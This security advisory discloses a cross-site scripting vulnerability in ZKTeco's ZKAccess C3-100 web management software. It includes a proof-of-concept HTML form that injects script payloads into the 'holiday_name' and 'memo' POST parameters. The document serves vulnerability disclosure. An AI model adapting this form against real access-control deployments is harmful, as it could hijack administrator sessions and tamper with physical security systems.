### Summary
ZKAccess Systems are built on flexible, open technology to provide management, real-time monitoring, and control of your access control system-all from a browser, with no additional software to install. Our secure Web-hosted infrastructure and centralized online administration reduce your IT costs and allow you to easily manage all of your access points in a single location. C3-100's versatile design features take care of present and future needs with ease and efficiency. It is one of the most rugged and reliable controllers on the market, with a multitude of built-in features. The C3-100 can communicate at 38.4 Kbps via RS-485 configuration or Ethernet TCP/IP networks. It can store up to 30,000 cardholders.
### Description
Input passed to the 'holiday_name' and 'memo' POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
### Vendor
ZKTeco Inc. - http://www.zkteco.com
### Affected Version
* 5.3.12252
### Tested On
* CherryPy/3.1.0beta3 WSGI Server
* Firmware: AC Ver 4.1.9 3893-07 Jan 6 2016
* Python 2.6
### PoC
```
<html>
<body>
<form action="http://127.0.0.1/data/iaccess/AccHolidays/_new_/?_lock=1" method="POST">
<input type="hidden" name="pk" value="None" />
<input type="hidden" name="holiday_name" value=""><script>alert(1)</script>" />
<input type="hidden" name="holiday_type" value="1" />
<input type="hidden" name="start_date" value="09/13/2016" />
<input type="hidden" name="end_date" value="10/18/2016" />
<input type="hidden" name="loop_by_year" value="2" />
<input type="hidden" name="memo" value=""><script>alert(2)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
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